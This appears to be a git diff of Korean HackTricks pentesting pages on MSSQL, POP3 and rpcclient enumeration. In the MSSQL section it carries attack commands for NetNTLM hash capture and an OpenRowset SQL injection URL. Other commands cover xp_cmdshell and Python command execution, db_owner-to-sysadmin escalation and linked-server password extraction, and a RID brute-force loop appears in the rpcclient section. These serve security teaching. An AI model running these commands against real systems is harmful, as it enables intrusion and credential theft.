* **master 데이터베이스**: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 세부 정보를 캡처하므로 매우 중요합니다.
|
* **master 데이터베이스**: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 세부정보를 캡처하므로 매우 중요합니다.
|
||||||
* **msdb 데이터베이스**: SQL Server Agent는 이 데이터베이스를 사용하여 알림 및 작업의 일정을 관리합니다.
|
* **msdb 데이터베이스**: SQL Server Agent는 이 데이터베이스를 사용하여 알림 및 작업의 일정을 관리합니다.
|
||||||
* **model 데이터베이스**: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기, 정렬, 복구 모델 등과 같은 변경 사항이 새로 생성된 데이터베이스에 반영됩니다.
|
* **model 데이터베이스**: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기, 정렬, 복구 모델 등과 같은 변경 사항이 새로 생성된 데이터베이스에 반영됩니다.
|
||||||
* **Resource 데이터베이스**: SQL Server와 함께 제공되는 시스템 객체를 포함하는 읽기 전용 데이터베이스입니다. 이러한 객체는 Resource 데이터베이스에 물리적으로 저장되지만, 모든 데이터베이스의 sys 스키마에 논리적으로 표시됩니다.
|
* **Resource 데이터베이스**: SQL Server와 함께 제공되는 시스템 객체를 포함하는 읽기 전용 데이터베이스입니다. 이러한 객체는 Resource 데이터베이스에 물리적으로 저장되지만, 모든 데이터베이스의 sys 스키마에서 논리적으로 표시됩니다.
|
||||||
* **tempdb 데이터베이스**: 일시적인 객체나 중간 결과 집합을 위한 임시 저장 영역으로 사용됩니다.
|
* **tempdb 데이터베이스**: 일시적인 객체나 중간 결과 집합을 위한 임시 저장 영역으로 사용됩니다.
|
||||||
|
|
||||||
## 열거
|
## 열거
|
||||||
|
|
||||||
### 자동 열거
|
### 자동 열거
|
||||||
|
|
||||||
서비스에 대해 아무것도 모른다면:
|
서비스에 대해 아무것도 모르는 경우:
|
||||||
```bash
|
```bash
|
||||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||||
|
@ -165,7 +157,7 @@ SELECT * FROM sysusers
|
||||||
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 이루어집니다:
|
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 이루어집니다:
|
||||||
* **서버 수준** – 로그인을 사용하여
|
* **서버 수준** – 로그인을 사용하여
|
||||||
* **데이터베이스 수준** – 사용자를 사용하여
|
* **데이터베이스 수준** – 사용자를 사용하여
|
||||||
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나, 접근 권한이 있는 역할에 로그인 및 사용자를 포함시킴으로써 행사됩니다.
|
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나, 접근 권한이 있는 역할에 로그인과 사용자를 포함시킴으로써 행사됩니다.
|
||||||
```sql
|
```sql
|
||||||
# Show all different securables names
|
# Show all different securables names
|
||||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||||
|
@ -238,7 +230,7 @@ sudo impacket-smbserver share ./ -smb2support
|
||||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
다음 명령어로 sysadmin을 제외한 누가 해당 MSSQL 함수를 실행할 수 있는 권한이 있는지 확인할 수 있습니다:
|
sysadmins가 아닌 누가 이러한 MSSQL 함수를 실행할 수 있는 권한이 있는지 확인할 수 있습니다:
|
||||||
```sql
|
```sql
|
||||||
Use master;
|
Use master;
|
||||||
EXEC sp_helprotect 'xp_dirtree';
|
EXEC sp_helprotect 'xp_dirtree';
|
||||||
|
@ -247,8 +239,8 @@ EXEC sp_helprotect 'xp_fileexist';
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**responder** 또는 **Inveigh**와 같은 도구를 사용하면 **NetNTLM 해시를 훔칠** 수 있습니다.\
|
**responder** 또는 **Inveigh**와 같은 도구를 사용하여 **NetNTLM 해시를 훔치는** 것이 가능합니다.\
|
||||||
이 도구를 사용하는 방법은 다음에서 확인할 수 있습니다:
|
이 도구들을 사용하는 방법은 다음에서 확인할 수 있습니다:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
|
@ -264,7 +256,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
||||||
|
|
||||||
### **파일 쓰기**
|
### **파일 쓰기**
|
||||||
|
|
||||||
`MSSQL`을 사용하여 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
|
`MSSQL`을 사용하여 파일을 쓰려면, **[Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)**를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
|
||||||
```bash
|
```bash
|
||||||
# Enable Ole Automation Procedures
|
# Enable Ole Automation Procedures
|
||||||
sp_configure 'show advanced options', 1
|
sp_configure 'show advanced options', 1
|
||||||
|
@ -297,15 +289,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||||
```
|
```
|
||||||
### **RCE/파일 읽기 스크립트 실행 (Python 및 R)**
|
### **RCE/Read files executing scripts (Python and R)**
|
||||||
|
|
||||||
MSSQL은 **Python 및/또는 R**에서 **스크립트 실행**을 허용할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 **다른 사용자**에 의해 실행됩니다.
|
MSSQL은 **Python 및/또는 R**에서 **스크립트**를 실행할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
|
||||||
|
|
||||||
예시: **'R'** _"Hellow World!"_ **실행되지 않음**:
|
Example trying to execute a **'R'** _"Hellow World!"_ **not working**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (393).png>)
|
![](<../../.gitbook/assets/image (393).png>)
|
||||||
|
|
||||||
예시: 여러 작업을 수행하기 위해 구성된 Python 사용:
|
Example using configured python to perform several actions:
|
||||||
```sql
|
```sql
|
||||||
# Print the user being used (and execute commands)
|
# Print the user being used (and execute commands)
|
||||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||||
|
@ -321,7 +313,7 @@ GO
|
||||||
```
|
```
|
||||||
### Read Registry
|
### Read Registry
|
||||||
|
|
||||||
Microsoft SQL Server는 **여러 확장 저장 프로시저**를 제공하여 네트워크뿐만 아니라 파일 시스템 및 [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)와도 상호작용할 수 있습니다:**
|
Microsoft SQL Server는 **여러 확장 저장 프로시저**를 제공하여 네트워크뿐만 아니라 파일 시스템 및 [**Windows 레지스트리**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)와도 상호작용할 수 있습니다:**
|
||||||
|
|
||||||
| **정상** | **인스턴스 인식** |
|
| **정상** | **인스턴스 인식** |
|
||||||
| ---------------------------- | -------------------------------------- |
|
| ---------------------------- | -------------------------------------- |
|
||||||
|
@ -354,13 +346,13 @@ MSSQL에서 **사용자 정의 함수로 .NET dll을 로드하는 것이 가능
|
||||||
|
|
||||||
### Other ways for RCE
|
### Other ways for RCE
|
||||||
|
|
||||||
명령 실행을 얻는 다른 방법으로는 [확장 저장 프로시저 추가하기](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR 어셈블리](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server 에이전트 작업](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), 및 [외부 스크립트](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) 등이 있습니다.
|
명령 실행을 얻기 위한 다른 방법으로는 [확장 저장 프로시저 추가하기](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR 어셈블리](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server 에이전트 작업](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), 및 [외부 스크립트](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) 추가가 있습니다.
|
||||||
|
|
||||||
## MSSQL Privilege Escalation
|
## MSSQL Privilege Escalation
|
||||||
|
|
||||||
### From db\_owner to sysadmin
|
### From db\_owner to sysadmin
|
||||||
|
|
||||||
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 설정된 경우, 그 사용자는 **저장 프로시저**가 소유자(**관리자**)로 실행될 수 있기 때문에 이러한 권한을 남용하여 **privesc**를 할 수 있습니다.
|
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 설정된 경우, 해당 사용자는 **프리벡스**를 위해 이러한 권한을 남용할 수 있습니다. 왜냐하면 그곳에 생성된 **저장 프로시저**가 **소유자**(**관리자**)로서 **실행**될 수 있기 때문입니다.
|
||||||
```sql
|
```sql
|
||||||
# Get owners of databases
|
# Get owners of databases
|
||||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||||
|
@ -444,7 +436,7 @@ REVERT
|
||||||
```bash
|
```bash
|
||||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||||
```
|
```
|
||||||
또는 **PS** 스크립트를 사용하여:
|
또는 **PS** 스크립트로:
|
||||||
```powershell
|
```powershell
|
||||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
|
@ -456,15 +448,15 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||||
|
|
||||||
## SQL Server Linked Servers에서 비밀번호 추출하기
|
## SQL Server Linked Servers에서 비밀번호 추출하기
|
||||||
|
|
||||||
공격자는 SQL 인스턴스에서 SQL Server Linked Servers 비밀번호를 추출하고 이를 평문으로 얻을 수 있으며, 이를 통해 공격자는 대상에 대한 더 큰 발판을 확보할 수 있습니다. Linked Servers에 저장된 비밀번호를 추출하고 복호화하는 스크립트는 [여기](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)에서 찾을 수 있습니다.
|
공격자는 SQL 인스턴스에서 SQL Server Linked Servers 비밀번호를 추출하여 평문으로 얻을 수 있으며, 이를 통해 공격자는 대상에 대한 더 큰 발판을 확보할 수 있습니다. Linked Servers에 저장된 비밀번호를 추출하고 복호화하는 스크립트는 [여기](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)에서 찾을 수 있습니다.
|
||||||
|
|
||||||
이 익스플로잇이 작동하기 위해서는 몇 가지 요구 사항과 구성이 필요합니다. 우선, 해당 머신에서 관리자 권한이 있거나 SQL Server 구성을 관리할 수 있는 능력이 있어야 합니다.
|
이 익스플로잇이 작동하기 위해서는 몇 가지 요구 사항과 구성이 필요합니다. 우선, 해당 머신에서 관리자 권한이 있거나 SQL Server 구성을 관리할 수 있는 능력이 있어야 합니다.
|
||||||
|
|
||||||
권한을 검증한 후, 다음 세 가지를 구성해야 합니다:
|
권한을 확인한 후, 다음 세 가지를 구성해야 합니다:
|
||||||
|
|
||||||
1. SQL Server 인스턴스에서 TCP/IP 활성화;
|
1. SQL Server 인스턴스에서 TCP/IP를 활성화합니다;
|
||||||
2. 시작 매개변수 추가, 이 경우 -T7806이라는 추적 플래그가 추가됩니다.
|
2. 시작 매개변수를 추가합니다. 이 경우, -T7806이라는 추적 플래그가 추가됩니다.
|
||||||
3. 원격 관리자 연결 활성화.
|
3. 원격 관리자 연결을 활성화합니다.
|
||||||
|
|
||||||
이 구성을 자동화하기 위해 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에는 필요한 스크립트가 있습니다. 각 구성 단계에 대한 PowerShell 스크립트 외에도, 이 저장소에는 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 포함되어 있습니다.
|
이 구성을 자동화하기 위해 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에는 필요한 스크립트가 있습니다. 각 구성 단계에 대한 PowerShell 스크립트 외에도, 이 저장소에는 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 포함되어 있습니다.
|
||||||
|
|
||||||
|
@ -475,7 +467,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||||
## 로컬 권한 상승
|
## 로컬 권한 상승
|
||||||
|
|
||||||
MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토큰이 활성화되어 있습니다.\
|
MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토큰이 활성화되어 있습니다.\
|
||||||
다음 두 페이지 중 하나를 따라 **관리자로 상승**할 수 있을 것입니다:
|
다음 두 페이지 중 하나를 따라 **관리자로 권한 상승**할 수 있을 것입니다:
|
||||||
|
|
||||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||||
|
@ -497,15 +489,9 @@ MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## HackTricks 자동 명령
|
## HackTricks 자동 명령
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
|
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
## Basic Information
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
**우편 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, 원격 메일 서버에서 이메일을 **추출하고 검색하는 데** 사용되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 응용 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 수신할 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이러한 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
|
||||||
|
|
||||||
**우편 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, 원격 메일 서버에서 이메일을 추출하고 **가져오는 데 사용**되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 애플리케이션 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 수신할 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이러한 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
|
|
||||||
|
|
||||||
**기본 포트:** 110, 995(ssl)
|
**기본 포트:** 110, 995(ssl)
|
||||||
```
|
```
|
||||||
|
@ -97,18 +90,13 @@ password: PA$$W0RD!Z
|
||||||
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||||
|
|
||||||
| **설정** | **설명** |
|
| **설정** | **설명** |
|
||||||
| ------------------------- | --------------------------------------------------------------------------------------- |
|
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||||
| `auth_debug` | 모든 인증 디버그 로깅을 활성화합니다. |
|
| `auth_debug` | 모든 인증 디버그 로깅을 활성화합니다. |
|
||||||
| `auth_debug_passwords` | 이 설정은 로그의 상세도를 조정하며, 제출된 비밀번호와 스킴이 기록됩니다. |
|
| `auth_debug_passwords` | 이 설정은 로그의 상세도를 조정하며, 제출된 비밀번호와 스킴이 기록됩니다. |
|
||||||
| `auth_verbose` | 실패한 인증 시도와 그 이유를 기록합니다. |
|
| `auth_verbose` | 실패한 인증 시도와 그 이유를 기록합니다. |
|
||||||
| `auth_verbose_passwords` | 인증에 사용된 비밀번호가 기록되며, 잘릴 수도 있습니다. |
|
| `auth_verbose_passwords` | 인증에 사용된 비밀번호가 기록되며, 잘릴 수도 있습니다. |
|
||||||
| `auth_anonymous_username` | ANONYMOUS SASL 메커니즘으로 로그인할 때 사용할 사용자 이름을 지정합니다. |
|
| `auth_anonymous_username` | ANONYMOUS SASL 메커니즘으로 로그인할 때 사용할 사용자 이름을 지정합니다. |
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
## HackTricks 자동 명령
|
## HackTricks 자동 명령
|
||||||
```
|
```
|
||||||
|
@ -160,7 +148,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,39 +15,31 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Relative Identifiers (RID) 및 Security Identifiers (SID) 개요
|
### Relative Identifiers (RID) 및 Security Identifiers (SID) 개요
|
||||||
|
|
||||||
**Relative Identifiers (RID)**와 **Security Identifiers (SID)**는 Windows 운영 체제에서 네트워크 도메인 내의 사용자 및 그룹과 같은 객체를 고유하게 식별하고 관리하는 데 중요한 구성 요소입니다.
|
**Relative Identifiers (RID)**와 **Security Identifiers (SID)**는 Windows 운영 체제에서 네트워크 도메인 내의 사용자 및 그룹과 같은 객체를 고유하게 식별하고 관리하는 데 중요한 구성 요소입니다.
|
||||||
|
|
||||||
- **SIDs**는 도메인의 고유 식별자로, 각 도메인이 구별될 수 있도록 합니다.
|
- **SID**는 도메인의 고유 식별자로, 각 도메인이 구별될 수 있도록 합니다.
|
||||||
- **RIDs**는 SIDs에 추가되어 해당 도메인 내의 객체에 대한 고유 식별자를 생성합니다. 이 조합은 객체 권한 및 접근 제어를 정확하게 추적하고 관리할 수 있게 합니다.
|
- **RID**는 SID에 추가되어 해당 도메인 내의 객체에 대한 고유 식별자를 생성합니다. 이 조합은 객체 권한 및 접근 제어를 정확하게 추적하고 관리할 수 있게 합니다.
|
||||||
|
|
||||||
예를 들어, `pepe`라는 사용자는 도메인의 SID와 그의 특정 RID를 결합한 고유 식별자를 가질 수 있으며, 이는 16진수(`0x457`) 및 10진수(`1111`) 형식으로 표현됩니다. 이로 인해 도메인 내에서 pepe에 대한 완전하고 고유한 식별자가 생성됩니다: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
예를 들어, `pepe`라는 사용자는 도메인의 SID와 그의 특정 RID를 결합한 고유 식별자를 가질 수 있으며, 이는 16진수(`0x457`) 및 10진수(`1111`) 형식으로 표현됩니다. 이로 인해 도메인 내에서 pepe에 대한 완전하고 고유한 식별자가 생성됩니다: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||||
|
|
||||||
|
|
||||||
### **rpcclient를 통한 열거**
|
### **rpcclient를 통한 열거**
|
||||||
|
|
||||||
Samba의 **`rpcclient`** 유틸리티는 **이름이 지정된 파이프를 통한 RPC 엔드포인트와 상호 작용하는 데 사용됩니다**. SMB 세션이 설정된 후 SAMR, LSARPC 및 LSARPC-DS 인터페이스에 대해 발행할 수 있는 아래 명령어들이 있습니다. 이 과정은 종종 자격 증명을 필요로 합니다.
|
Samba의 **`rpcclient`** 유틸리티는 **이름이 지정된 파이프를 통한 RPC 엔드포인트와 상호 작용하는 데 사용됩니다**. 아래 명령은 **SMB 세션이 설정된 후** SAMR, LSARPC 및 LSARPC-DS 인터페이스에 발행할 수 있습니다. 종종 자격 증명이 필요합니다.
|
||||||
|
|
||||||
#### 서버 정보
|
#### 서버 정보
|
||||||
|
|
||||||
* **서버 정보를 얻으려면**: `srvinfo` 명령어를 사용합니다.
|
* **서버 정보를 얻으려면**: `srvinfo` 명령을 사용합니다.
|
||||||
|
|
||||||
#### 사용자 열거
|
#### 사용자 열거
|
||||||
|
|
||||||
* **사용자를 나열할 수 있습니다**: `querydispinfo` 및 `enumdomusers`.
|
* **사용자를 나열할 수 있습니다**: `querydispinfo` 및 `enumdomusers`를 사용합니다.
|
||||||
* **사용자의 세부정보**: `queryuser <0xrid>`.
|
* **사용자의 세부정보**: `queryuser <0xrid>`로 확인합니다.
|
||||||
* **사용자의 그룹**: `queryusergroups <0xrid>`.
|
* **사용자의 그룹**: `queryusergroups <0xrid>`로 확인합니다.
|
||||||
* **사용자의 SID를 검색**: `lookupnames <username>`.
|
* **사용자의 SID는**: `lookupnames <username>`을 통해 검색됩니다.
|
||||||
* **사용자의 별칭**: `queryuseraliases [builtin|domain] <sid>`.
|
* **사용자의 별칭**: `queryuseraliases [builtin|domain] <sid>`로 확인합니다.
|
||||||
```bash
|
```bash
|
||||||
# Users' RIDs-forced
|
# Users' RIDs-forced
|
||||||
for i in $(seq 500 1100); do
|
for i in $(seq 500 1100); do
|
||||||
|
@ -80,9 +72,9 @@ done
|
||||||
|
|
||||||
#### SID와 관련된 추가 작업
|
#### SID와 관련된 추가 작업
|
||||||
|
|
||||||
* **이름으로 SID 검색**: `lookupnames <username>`.
|
